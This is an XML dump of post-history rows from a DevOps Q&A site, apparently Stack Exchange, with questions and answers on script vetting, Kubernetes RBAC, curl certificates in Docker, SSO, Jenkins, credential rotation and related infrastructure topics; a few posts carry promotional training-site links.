  <row Id="40084" PostHistoryTypeId="2" PostId="13032" RevisionGUID="5136ddcb-29ce-44ab-95e5-a161c49d4ba2" CreationDate="2020-12-28T10:37:41.743" UserId="354" Text="It sounds like you need some combination of testing and linting.&#xD;&#xA;&#xD;&#xA;The &quot;Vetting process&quot; you mention sounds to me exactly like &quot;tests need to pass on the scripts&quot;. A widely-used framework to write such tests is the Bash Automated Testing System - [BATS](https://github.com/sstephenson/bats).&#xD;&#xA;&#xD;&#xA;It would be up to you to write the tests to check whether, as you desire, these scripts are &quot;secure, compliant and won't create an issue&quot;, but at least you have a framework for generating and running them.&#xD;&#xA;&#xD;&#xA;At a more superficial level, you could use the [Shellcheck](https://github.com/koalaman/shellcheck) linter to assert that any proposed new code adheres to whatever set of common rules you adopt in your community.&#xD;&#xA;&#xD;&#xA;Pulling these together into a GitHub action, or a git pre-commit hook _etc_ could be a good way to add a quick inspection to new contributions, and help maintainers." ContentLicense="CC BY-SA 4.0" />
  <row Id="40085" PostHistoryTypeId="6" PostId="13031" RevisionGUID="9ca1aaf5-ec04-4a53-855e-dc1a1d984e10" CreationDate="2020-12-28T10:37:51.730" UserId="354" Comment="edited tags" Text="&lt;shell-script&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40086" PostHistoryTypeId="2" PostId="13033" RevisionGUID="ec92584b-ff8d-4b7c-bc52-129c64788bf6" CreationDate="2020-12-28T13:19:53.173" UserId="24860" Text="I am trying to implement group based authentication in k8s with RBAC. My requirement is as below:&#xA;&#xA;There is a linux group named &quot;readonly&quot;. There are 3 users reader1, reader2 and reader3 in readonly group.&#xA;&#xA;How can I implement the RBAC to give readonly access to all the users who are part of that group and all the future users who will become part of that group ? Readonly access means, access to list, get and watch resources using kubectl.&#xA;&#xA;I came across .subjects[0].kind: Group in clusterrolebinding. But not sure how can that be used or if that can even be used for the above scenario  &#xA;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="40087" PostHistoryTypeId="1" PostId="13033" RevisionGUID="ec92584b-ff8d-4b7c-bc52-129c64788bf6" CreationDate="2020-12-28T13:19:53.173" UserId="24860" Text="Group authentication in kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="40088" PostHistoryTypeId="3" PostId="13033" RevisionGUID="ec92584b-ff8d-4b7c-bc52-129c64788bf6" CreationDate="2020-12-28T13:19:53.173" UserId="24860" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;rbac&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40089" PostHistoryTypeId="2" PostId="13034" RevisionGUID="c635084a-7071-41b4-847b-5dd603d2fcb5" CreationDate="2020-12-28T13:46:53.633" UserId="24032" Text="I am building a Docker image based on `debian:buster-slim` and installing cUrl in this image. According to the recommendations made by Hadolint, I install all packages via `apt-get` with the option `--no-install-recommends` to avoid the installation of unneeded packages.&#xD;&#xA;&#xD;&#xA;Installed in this way, cUrl is not able to get any file via HTTPS due to it is unable to find the &quot;local issues certificate&quot;, as shown in the extract from Docker output below.&#xD;&#xA;&#xD;&#xA;Does someone know which additional package I have to install to solve this problem?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Step 15/19 : RUN set -ex;     curl --output distribution.zip $FULL_URL&#xD;&#xA; ---&gt; Running in 9aa176a788d7&#xD;&#xA;+ curl --output distribution.zip https://www.host.domain/file.zip&#xD;&#xA;  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xD;&#xA;                                 Dload  Upload   Total   Spent    Left  Speed&#xD;&#xA;  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0&#xD;&#xA;curl: (60) SSL certificate problem: unable to get local issuer certificate&#xD;&#xA;More details here: https://curl.haxx.se/docs/sslcerts.html&#xD;&#xA;&#xD;&#xA;curl failed to verify the legitimacy of the server and therefore could not&#xD;&#xA;establish a secure connection to it. To learn more about this situation and&#xD;&#xA;how to fix it, please visit the web page mentioned above.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;This is my current version of the use Dockerfile:&#xD;&#xA;```&#xD;&#xA;FROM debian:buster-slim&#xD;&#xA;&#xD;&#xA;RUN set -ex; &#xD;&#xA;    apt-get -y update&#xD;&#xA;&#xD;&#xA;RUN set -ex; \&#xD;&#xA;    apt-get -y install --no-install-recommends \&#xD;&#xA;        curl=7.64.0-4+deb10u1 \&#xD;&#xA;        unzip=6.0-23+deb10u1 \&#xD;&#xA;        coreutils=8.30-3 \&#xD;&#xA;        lsb-release build-essential ssh-client apt-transport-https \&#xD;&#xA;        python gnupg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;RUN set -ex; &#xD;&#xA;    curl --output distribution.zip https://www.host.domain/file.zip&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="40090" PostHistoryTypeId="1" PostId="13034" RevisionGUID="c635084a-7071-41b4-847b-5dd603d2fcb5" CreationDate="2020-12-28T13:46:53.633" UserId="24032" Text="How to install curl in conjunction with --no-install-recommends in Debian correctly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40091" PostHistoryTypeId="3" PostId="13034" RevisionGUID="c635084a-7071-41b4-847b-5dd603d2fcb5" CreationDate="2020-12-28T13:46:53.633" UserId="24032" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40092" PostHistoryTypeId="2" PostId="13035" RevisionGUID="f1bf10c3-a74a-4eca-93f0-1658d9116338" CreationDate="2020-12-28T14:06:40.007" UserId="24820" Text=" I have two application 1. Internal application 2. [DOMO application][1] (BI tool)&#xD;&#xA;&#xD;&#xA;we are planning to implement SSO. The credentials we are using for our internal application it should work for DOMO as well.&#xD;&#xA;&#xD;&#xA;We will use SSO server as Shibboleth(IDP) and openSAML to communicate with IDP.&#xD;&#xA;&#xD;&#xA;i couldn't understand below points&#xD;&#xA;&#xD;&#xA;Who would be Service Provider(SP).&#xD;&#xA;How DOMO will communicate to IDP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://hkrtrainings.com/domo-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40093" PostHistoryTypeId="1" PostId="13035" RevisionGUID="f1bf10c3-a74a-4eca-93f0-1658d9116338" CreationDate="2020-12-28T14:06:40.007" UserId="24820" Text="SSO integration with DOMO from Java application" ContentLicense="CC BY-SA 4.0" />
  <row Id="40094" PostHistoryTypeId="3" PostId="13035" RevisionGUID="f1bf10c3-a74a-4eca-93f0-1658d9116338" CreationDate="2020-12-28T14:06:40.007" UserId="24820" Text="&lt;java&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40095" PostHistoryTypeId="5" PostId="11622" RevisionGUID="ab2182d0-076e-4143-9b44-690186bb3d0a" CreationDate="2020-12-28T14:58:34.210" UserId="22293" Comment="added 46 characters in body" Text="We were able to achieve this using Jenkins multibranch pipeline, upon pull request creation and update pipeline would create a new job. It'll check out the pull request so we can build / run unit tests / sonarqube analysis on it.&#xD;&#xA;&#xD;&#xA;Refer following for step by step guide,&#xD;&#xA;https://www.whatsuptec.com/trigger-jenkins-pipeline-on-bitbucket-pull-request/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40096" PostHistoryTypeId="6" PostId="13035" RevisionGUID="4d7964f1-c0de-4174-8e66-30feef58ff8c" CreationDate="2020-12-28T15:50:04.217" UserId="739" Comment="add security tag" Text="&lt;security&gt;&lt;java&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40097" PostHistoryTypeId="52" PostId="13031" RevisionGUID="a48ee658-703a-424f-b5c1-c770225f6beb" CreationDate="2020-12-28T17:02:00.120" />
  <row Id="40098" PostHistoryTypeId="2" PostId="13036" RevisionGUID="1d49f2a6-210e-4d39-8d91-0ea20e5a7698" CreationDate="2020-12-28T20:49:36.023" UserId="22743" Text="Is something like the below what you are looking for?&#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;      apps = keys(var.app_config)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;azurerm_key_vault_secret&quot; &quot;app_id&quot; {&#xD;&#xA;      for_each = toset(local.apps)&#xD;&#xA;    &#xD;&#xA;      name         = each.key&#xD;&#xA;      value        = var.keyvault_secrets[var.environment][each.key][&quot;application_id&quot;]&#xD;&#xA;      key_vault_id = data.azurerm_key_vault.mykv.id&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40099" PostHistoryTypeId="8" PostId="13019" RevisionGUID="d7c14450-0222-4251-9621-92c4b0327e8f" CreationDate="2020-12-29T04:38:26.957" UserId="24583" Comment="Rollback to [ac5325ae-27d4-44d3-8aeb-c3f42ab43d21] - Edit approval overridden by post owner or moderator" Text="I am using KUBE_PING (jgroups-kubernetes-1.0.13.Final.jar) as the discovery protocol for my application running under OpenShift-4.5 (Kubernetes-version 1.18.3). When I ran a vulnerability report against jgroups-kubernetes-1.0.13.Final.jar the NVD database reported CRITICAL vulnerabilities against the [Kubernetes][1] Server (Eg: CVE-2015-7528, CVE-2020-8557)&#xD;&#xA;&#xD;&#xA;My question here is that the Kubernetes API Server vulnerabilities are to managed separately by the Cloud Container Platform (Like OpenShift, Amazon EKS, etc) and should be responsible for the same. These vulnerabilities are not to be considered directly against JGroups discovery client for Kubernetes. The jgroups-kubernetes-1.0.13.Final.jar is only vulnerable when connecting against the reported vulnerable Kubernetes server versions. Is this the right assumption?&#xD;&#xA;&#xD;&#xA;Main Point - Whether the version no. in jgroups-kubernetes-ver.jar has any dependency to the actual kubernetes server version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Know someone who can answer? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/kubernetes-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40100" PostHistoryTypeId="2" PostId="13037" RevisionGUID="a8ee1783-6e40-4acb-956b-758f456d1fb6" CreationDate="2020-12-29T04:48:54.947" UserId="24583" Text="I have a couple of users on jenkins server - ec2-user and [jenkins][1] I ssh on the jenkins box as ec2-user For some reasons, we have dependencies on jenkins accessing a file in&#xD;&#xA;&#xD;&#xA;/home/ec2-user/.local/lib/python3.8/site-packages&#xD;&#xA;Now if i change just that folder's permissions or change owners for that folder, jenkins is not able to access it because it can't get to /home/ec2-user/.local If i change permissions on /home/ec2-user/.local i can no longer log in. Its quite a catch-22 situation.&#xD;&#xA;&#xD;&#xA;Anyone have recommendations on how to address this?&#xD;&#xA;&#xD;&#xA;Thanks !&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Know someone who can answer?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.opstrainerz.com/jenkins-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40101" PostHistoryTypeId="1" PostId="13037" RevisionGUID="a8ee1783-6e40-4acb-956b-758f456d1fb6" CreationDate="2020-12-29T04:48:54.947" UserId="24583" Text="Permissions on jenkins server" ContentLicense="CC BY-SA 4.0" />
  <row Id="40102" PostHistoryTypeId="3" PostId="13037" RevisionGUID="a8ee1783-6e40-4acb-956b-758f456d1fb6" CreationDate="2020-12-29T04:48:54.947" UserId="24583" Text="&lt;jenkins&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40103" PostHistoryTypeId="5" PostId="13032" RevisionGUID="d9064826-9640-46e0-92ff-3462f8d6019a" CreationDate="2020-12-29T06:14:44.660" UserId="354" Comment="Added suggestion of gerrit and described a bit more in detail how review could be done. Suggest Zuul CI" Text="&gt; I am looking for a way for our members to submit scripts without fussing too much about format or folder structure.&#xD;&#xA;&#xD;&#xA;It sounds like you need some combination of testing and linting, perhaps with a few utility scripts to organise and gate content from landing in the repo.&#xD;&#xA;&#xD;&#xA;The &quot;Vetting process&quot; you mention sounds to me exactly like &quot;tests need to pass on the scripts&quot;. A widely-used framework to write such tests is the Bash Automated Testing System - [BATS](https://github.com/sstephenson/bats).&#xD;&#xA;&#xD;&#xA;It would be up to you to write the tests to check whether, as you desire, these scripts are &quot;secure, compliant and won't create an issue&quot;, but at least you have a framework for generating and running them.&#xD;&#xA;&#xD;&#xA;At a more superficial level, you could use the [Shellcheck](https://github.com/koalaman/shellcheck) linter to assert that any proposed new code adheres to whatever set of common rules you adopt in your community.&#xD;&#xA;&#xD;&#xA;Pulling these together into a GitHub action (_e.g._ using https://github.com/github/super-linter), or a git pre-commit hook _etc_ could be a good way to add a quick inspection to new contributions, and help maintainers.&#xD;&#xA;&#xD;&#xA;These would provide quantitative measures of correctness. In order to also provide some qualitative or more subjective measures of acceptance, this would depend greatly on the operating environment and which tools would fit naturally into yours.&#xD;&#xA;&#xD;&#xA;However, some tools do attempt to address this need by design. Without further knowledge of the environment it's difficult to provide concrete answers, but here is a comparison of two options:&#xD;&#xA;&#xD;&#xA;## GitHub, GitLab requests&#xD;&#xA;&#xD;&#xA;Assuming the code is destined for a GitHub or GitLab repo, GitHub or GitLab itself could of course be used as the &quot;review console&quot;. A contributor would fork the repo, send a new contribution in the form of a PR against the repo, and then the checks referred to above would be executed.&#xD;&#xA;&#xD;&#xA;The actions could take care of the organisation, based on some internal convention, _e.g._ using labels, _i.e._ &quot;file scripts in PRs labelled `admin` in the `admin` directory&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;## Gerrit&#xD;&#xA;&#xD;&#xA;Another purpose-built tool to manage code contributions is [Gerrit](https://www.gerritcodereview.com/). Gerrit is heavily backed by git workflow and may not be relevant, but I mention it since it's one of the first such peer-review systems for software.&#xD;&#xA;&#xD;&#xA;As described on the Gerrit website, a [similar workflow is followed](https://gerrit-review.googlesource.com/Documentation/intro-gerrit-walkthrough.html):&#xD;&#xA;&#xD;&#xA;&gt; Making the Change&#xD;&#xA;&gt;&#xD;&#xA;&gt; Creating the Review&#xD;&#xA;&gt;&#xD;&#xA;&gt; Reviewing the Change&#xD;&#xA;&gt;&#xD;&#xA;&gt; Reworking the Change&#xD;&#xA;&gt;&#xD;&#xA;&gt; Verifying the Change&#xD;&#xA;&gt;&#xD;&#xA;&gt; Submitting the Change&#xD;&#xA;&gt;&#xD;&#xA;&gt; Next Steps&#xD;&#xA;&#xD;&#xA;Much of the actual work here is done by the reviewer or contributor, and Gerrit serves to organise their collaboration.&#xD;&#xA;&#xD;&#xA;I suspect that neither of these corresponds exactly to what you are asking for, though, however a **general purpose** tool to which **arbitrary** contributions can be submitted is a big ask and likely a mirage. &#xD;&#xA;&#xD;&#xA;It seems more feasible that this should be achieved by adopting shared conventions in existing code collaboration platforms rather than a dedicated service to manage ingestion.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Finally, you mention:&#xD;&#xA;&#xD;&#xA;&gt; Usually when maintaining a system...&#xD;&#xA;&#xD;&#xA;If you meant &quot;maintaining a configuration state of a system&quot;, perhaps an approach with [Zuul](https://zuul-ci.org/docs/zuul/index.html). Zuul is &#xD;&#xA;&gt; ... a program that drives continuous integration, delivery, and deployment systems with a focus on project gating and interrelated projects.&#xD;&#xA;&#xD;&#xA;While quite heavy, it is a means to actually execute and evaluate the result of a proposed script. This provides more meaningful feedback, but is of course more onerous in terms of setup and maintenance.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40104" PostHistoryTypeId="5" PostId="13026" RevisionGUID="aca506e7-9745-4859-875f-1ad15c9e854b" CreationDate="2020-12-29T07:01:05.283" UserId="10599" Comment="added 97 characters in body" Text="TL;DR &#xD;&#xA;&#xD;&#xA;Yes, CaaS is very much a thing it means Container-Orchestration-as-a-Service. Kubernetes is the [leading technology][1] in this space. &#xD;&#xA;&#xD;&#xA;Long Version: &#xD;&#xA;&#xD;&#xA;The key to understanding the following progression is the concept of &quot;-as-a-Service&quot;:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → CaaS → FaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;It means you are paying either an internal or external team money to host a service onto which you deploy your business solution. Yes, you can use containers on top of a dedicated hardware service. You can use containers on-top of IaaS. Yet you have to look after the low-level concerns such as installing and patching the operating system. If you are simply renting VMs from a cloud provider you are not renting a container solution as a service. &#xD;&#xA;&#xD;&#xA;When people talk about CaaS they usually mean “Container-Orchestration-as-a-service”. Examples include Amazon Elastic Kubernetes Service, Azure Kubernetes Service, and Google Kubernetes Engine, IBM Cloud Kubernetes Service and Alibaba Container Service for Kubernetes. There is a vast difference between deploying software onto a Kubernetes cluster that someone else set up, secured, then automated for you and having to configure a bunch of IaaS VMs to reliably run containers yourself. High-performance Kubernetes installations use specialist 'single purpose' [operating systems][2] such that the servers are more like appliances than typical VMs. The idea is that the cluster (both OS and Kubernetes software) can be security patched as a rolling upgrade without any downtime of the services hosted on the cluster. &#xD;&#xA;&#xD;&#xA;The historic position around 2011 before Docker was released in 2013 would have been:&#xD;&#xA;&#xD;&#xA;Dedicated → IaaS → PaaS → SaaS&#xD;&#xA;&#xD;&#xA;In that, it is PaaS which, IMHO, is the vague classification that has changed over time with the rise of containers.  Examples of early PaaS solutions that came before containers are the original Heroku, the original CloudFoundry, and early versions of RedHat Openshift. They were “DevOps platforms” before the term DevOps was invented. The original versions used some of the Linux techniques that containers later made famous, but it was an internal detail. The main marketing points made were two-fold. The first was developer productivity of having built-in CI/CD and the second was that the servers were easy to security patch and administer. The servers were treated like sheep and the vendor-supplied service packs to keep them secure.&#xD;&#xA;&#xD;&#xA;The problems with the original PaaS concept was no standardisation, vendor lock-in, little portability, as well as proprietary tooling. They had embedded and proprietary build systems as well as proprietary configuration and deployment mechanisms. Opensource container orchestrators have revolutionised things by fixing those problems. The big open-source PaaS solutions such as OpenShift, CloudFoundry and Mesosphere now all support Kubernetes. Users no longer need to use a proprietary build and deploy pipeline nor propriety configuration mechanisms. They can use a vast number of different tools to build containers that they pushed up to any number of hosted container registries. They can then use the Kubernetes API to deploy into their chosen cloud provider. IMHO the original PaaS concept of “rapidly build, deploy and configure a web app” has standardised into CaaS as the main runtime. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stackrox.com/kubernetes-adoption-security-and-market-share-for-containers/&#xD;&#xA;  [2]: https://docs.openshift.com/container-platform/4.6/architecture/architecture-rhcos.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40105" PostHistoryTypeId="5" PostId="13027" RevisionGUID="33ad5acb-0440-4e94-9583-080923958c8c" CreationDate="2020-12-29T07:04:37.307" UserId="10599" Comment="added 13 characters in body" Text="Yes, your approach sounds okay to me. I am not sure how you &quot;ship&quot; machines but it is a good idea to use a service account per machine as you can [delete][2] the service account key if the machine ever becomes compromised. &#xD;&#xA;&#xD;&#xA;You can, and should, fully automate the process of generating the credentials key files using the Google APIs or gcloud cli.&#xD;&#xA;&#xD;&#xA;It is best practice to periodically rotate (re-issue) credentials key files. This is in case they are accidentally leaked in a way that you do not notice. If you always revoke the key and issue a new one every month then it limits the total damage somewhat. &#xD;&#xA;&#xD;&#xA;If you do rotate keys then you have a key distribution problem. How do you securely distribute the new credentials key files onto machines you shipped in the past? You can use GnuPG to [create][1] a public-private key pair on every host. Each month you can run a script that generates a new credentials key file per machine, encrypt it with the machine's public GPG key, then [delete][2] the old service account keys. &#xD;&#xA;&#xD;&#xA;The script that pushes images to a bucket must then periodically &quot;phone home&quot; to collect a fresh GPG encrypted credentials key file. It can then [decrypt][3] it with its own private key. One way to do this is to put the encrypted keys into a different bucket. Create a single service account that can only read that bucket. Create a single credentials key file for that service account that you install onto every machine. That key can then only be used to only collect encrypted keys that can only be decrypted on the correct host. &#xD;&#xA;&#xD;&#xA;  [1]: https://www.gnupg.org/gph/en/manual/c14.html#AEN25&#xD;&#xA;  [2]: https://cloud.google.com/iam/docs/creating-managing-service-account-keys#deleting_service_account_keys&#xD;&#xA;  [3]: https://devhints.io/gnupg#decrypting" ContentLicense="CC BY-SA 4.0" />
  <row Id="40106" PostHistoryTypeId="2" PostId="13038" RevisionGUID="18778cc9-d1d5-42c6-838b-7c235dbba07e" CreationDate="2020-12-29T10:19:50.830" UserId="22870" Text="I'm using the image: jenkinsci/blueocean from Dockerhub&#xD;&#xA;&#xD;&#xA;The build overview page isn't showing the stages of a build.  i.e. the square boxes that represent the stages are not appearing.&#xD;&#xA;&#xD;&#xA;Am I missing a plugin? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40107" PostHistoryTypeId="1" PostId="13038" RevisionGUID="18778cc9-d1d5-42c6-838b-7c235dbba07e" CreationDate="2020-12-29T10:19:50.830" UserId="22870" Text="jenkins build overview page not showing stages in webui" ContentLicense="CC BY-SA 4.0" />
  <row Id="40108" PostHistoryTypeId="3" PostId="13038" RevisionGUID="18778cc9-d1d5-42c6-838b-7c235dbba07e" CreationDate="2020-12-29T10:19:50.830" UserId="22870" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;jenkins-blueocean&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40109" PostHistoryTypeId="2" PostId="13039" RevisionGUID="b3738e88-132c-4e3c-bdda-5ce4b96c31b1" CreationDate="2020-12-29T12:58:57.537" UserId="23442" Text="The requirement is to access my EKS dashboard without any token.I have setup the EKS dashboard and i am able to access it via a web browser now i am trying to access the dashboard without the token required for it. Is this acheivable" ContentLicense="CC BY-SA 4.0" />
  <row Id="40110" PostHistoryTypeId="1" PostId="13039" RevisionGUID="b3738e88-132c-4e3c-bdda-5ce4b96c31b1" CreationDate="2020-12-29T12:58:57.537" UserId="23442" Text="EKS dashboard without token" ContentLicense="CC BY-SA 4.0" />
  <row Id="40111" PostHistoryTypeId="3" PostId="13039" RevisionGUID="b3738e88-132c-4e3c-bdda-5ce4b96c31b1" CreationDate="2020-12-29T12:58:57.537" UserId="23442" Text="&lt;amazon-web-services&gt;&lt;kubernetes&gt;&lt;eks&gt;&lt;dashboards&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40112" PostHistoryTypeId="2" PostId="13040" RevisionGUID="10f57daa-35b5-4ca8-af24-4bdd178d4326" CreationDate="2020-12-29T13:14:53.823" UserId="22870" Text="&#xD;&#xA;Added a pipeline-stage-view plugin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40113" PostHistoryTypeId="2" PostId="13041" RevisionGUID="db5c76d8-ec01-4ab5-a5d6-65191984893a" CreationDate="2020-12-29T16:15:11.867" UserId="25371" Text="I had to, so I removed a service with docker service rm but I forgot to get the log files of the service. Now I am not able to find those. Can anyone help me or suggest to me if and how can I get those log files. I was using json-files driver for logging via yml." ContentLicense="CC BY-SA 4.0" />
  <row Id="40114" PostHistoryTypeId="1" PostId="13041" RevisionGUID="db5c76d8-ec01-4ab5-a5d6-65191984893a" CreationDate="2020-12-29T16:15:11.867" UserId="25371" Text="Retrieve files deleted after Docker service rm" ContentLicense="CC BY-SA 4.0" />
  <row Id="40115" PostHistoryTypeId="3" PostId="13041" RevisionGUID="db5c76d8-ec01-4ab5-a5d6-65191984893a" CreationDate="2020-12-29T16:15:11.867" UserId="25371" Text="&lt;docker&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40116" PostHistoryTypeId="2" PostId="13042" RevisionGUID="52fbc0cf-2165-486b-a578-ae852536a439" CreationDate="2020-12-29T19:24:30.957" UserId="7730" Text="There's no special feature to undelete files on the host provided by docker. So if you delete your files using docker, you are left with the same option as when you delete on Linux without using docker:&#xD;&#xA;&#xD;&#xA;1. Learn from your mistake and don't do it again (I'd recommend forwarding logs to an external log aggregator).&#xD;&#xA;2. Restore from backup.&#xD;&#xA;3. Do a forensic recovery of the hard drive contents." ContentLicense="CC BY-SA 4.0" />
  <row Id="40117" PostHistoryTypeId="2" PostId="13043" RevisionGUID="f14d001e-5589-4d5b-805a-d000fd130fbe" CreationDate="2020-12-29T23:17:55.477" UserId="24303" Text="THe issue was related to permission capabilities. Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="40118" PostHistoryTypeId="2" PostId="13044" RevisionGUID="cfb5be94-255e-4c17-b3ed-211410dac725" CreationDate="2020-12-30T04:29:40.703" UserId="6026" Text="The clound client from vmware provides a quick way to manage machines (reboot etc). &#xD;&#xA; The new version https://code.vmware.com/web/tool/4.7.0/cloudclient has &quot;reconfigure&quot; action. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     c9eb1c5a-70c1-4382-9092-5c7c3e19a5fb | Change Lease              | Change the lease for a machine. Leave empty for indefinite. |&#xD;&#xA;     dd9d3402-c4fa-4e5f-b53b-94b842db6ca0 | Connect to Remote Console | Infrastructure connect using remote console                 |&#xD;&#xA;     ff4a8b22-4f38-47e4-aa4b-4b5521611939 | Connect using RDP         | Infrastructure connect using RDP                            |&#xD;&#xA;     601789e7-3eb7-4e0f-99d9-89d86d510abe | Expire                    | Expire a machine.                                           |&#xD;&#xA;     b0b5e8bd-861f-4732-820e-3c0788ce58b7 | Power Cycle               | Reset a machine.                                            |&#xD;&#xA;     925d481f-87de-4e87-b822-18863e66aa43 | Power Off                 | Power off a machine.                                        |&#xD;&#xA;     dab41652-3cc5-4fa2-bfa4-363469228ab8 | Reboot                    | Reboot a machine.                                           |&#xD;&#xA;     9e729615-2b43-45f8-8da7-8febac4b62b3 | Reconfigure               | Reconfigure a machine.                                      |&#xD;&#xA;     65637d5c-3983-4e29-be6d-4129d21ac01e | Shutdown                  | Shutdown a machine.    &#xD;&#xA;&#xD;&#xA;Unfortunately I cannot find documentation  about this option. For example could I change ram from 6000MB to 8000MB? or CPU from 2 to 4.  Could any one suggest details on &quot;reconfigure&quot; option?&#xD;&#xA;&#xD;&#xA;    vra machines action execute --id ies-ieswx-k044 --action Reconfigure &lt;what goes here&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40119" PostHistoryTypeId="1" PostId="13044" RevisionGUID="cfb5be94-255e-4c17-b3ed-211410dac725" CreationDate="2020-12-30T04:29:40.703" UserId="6026" Text="VMWare CloudClient" ContentLicense="CC BY-SA 4.0" />
  <row Id="40120" PostHistoryTypeId="3" PostId="13044" RevisionGUID="cfb5be94-255e-4c17-b3ed-211410dac725" CreationDate="2020-12-30T04:29:40.703" UserId="6026" Text="&lt;vmware&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40121" PostHistoryTypeId="2" PostId="13045" RevisionGUID="5ea4a094-17f8-4fdc-baad-6d92a545a780" CreationDate="2020-12-30T13:10:28.177" UserId="25380" Text="I have a remote server with [qliksense.][1] I want to get connect to that server so I could receive json data from it. The connection should be done using javascript. connecting to qliksense desktop on port 4848 is successful.&#xD;&#xA;&#xD;&#xA;How can I connect to a remote machine?&#xD;&#xA;&#xD;&#xA;what is the right code to do it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://hkrtrainings.com/qlik-sense-training" ContentLicense="CC BY-SA 4.0" />
  <row Id="40122" PostHistoryTypeId="1" PostId="13045" RevisionGUID="5ea4a094-17f8-4fdc-baad-6d92a545a780" CreationDate="2020-12-30T13:10:28.177" UserId="25380" Text="qliksense - connection to remote server" ContentLicense="CC BY-SA 4.0" />
  <row Id="40123" PostHistoryTypeId="3" PostId="13045" RevisionGUID="5ea4a094-17f8-4fdc-baad-6d92a545a780" CreationDate="2020-12-30T13:10:28.177" UserId="25380" Text="&lt;docker&gt;&lt;java&gt;&lt;javascript&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40124" PostHistoryTypeId="2" PostId="13046" RevisionGUID="eadb194f-750e-4fa3-9e9b-af39f9ae17c7" CreationDate="2020-12-30T13:35:55.550" UserId="9222" Text="I am trying to build Windows image for Openstack with packer, but i don't know how to add the autounattend.xml file or floppy files.&#xD;&#xA;&#xD;&#xA;I build the image with success from qemu but I cannot find the same for openstack.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For Qemu i have the floppy_files for virtio-win drives and the autounattend that is automate the installation. How i can parse the files to openstack for automation? " ContentLicense="CC BY-SA 4.0" />
  <row Id="40125" PostHistoryTypeId="1" PostId="13046" RevisionGUID="eadb194f-750e-4fa3-9e9b-af39f9ae17c7" CreationDate="2020-12-30T13:35:55.550" UserId="9222" Text="Build Windows image for openstack with packer" ContentLicense="CC BY-SA 4.0" />
  <row Id="40126" PostHistoryTypeId="3" PostId="13046" RevisionGUID="eadb194f-750e-4fa3-9e9b-af39f9ae17c7" CreationDate="2020-12-30T13:35:55.550" UserId="9222" Text="&lt;windows&gt;&lt;packer&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40127" PostHistoryTypeId="2" PostId="13047" RevisionGUID="c879452d-6eb2-4905-952c-75ceb4abc405" CreationDate="2020-12-30T18:44:57.627" UserId="25384" Text="I have a Jenkins master on a Linux machine and I would like it to be able to connect to a Windows 10 agent, how do I do that?&#xD;&#xA;&#xD;&#xA;I can't find much in the official documentation about agents in general, and as for searching the web, the results show how to do it using JNLP, which only works on Java 8 and not on 11, and I don't want to downgrade from 11 to 8.&#xD;&#xA;&#xD;&#xA;I've been able to set up Linux agents, to which I connect using ssh ([like this](https://support.cloudbees.com/hc/en-us/articles/222978868-How-to-Connect-to-Remote-SSH-Slaves)), but the same process doesn't seem to work for the Windows agent.&#xD;&#xA;&#xD;&#xA;I am at wits' end here, do you know or have any up-to-date resources on connecting to Windows agents? Thanks." ContentLicense="CC BY-SA 4.0" />
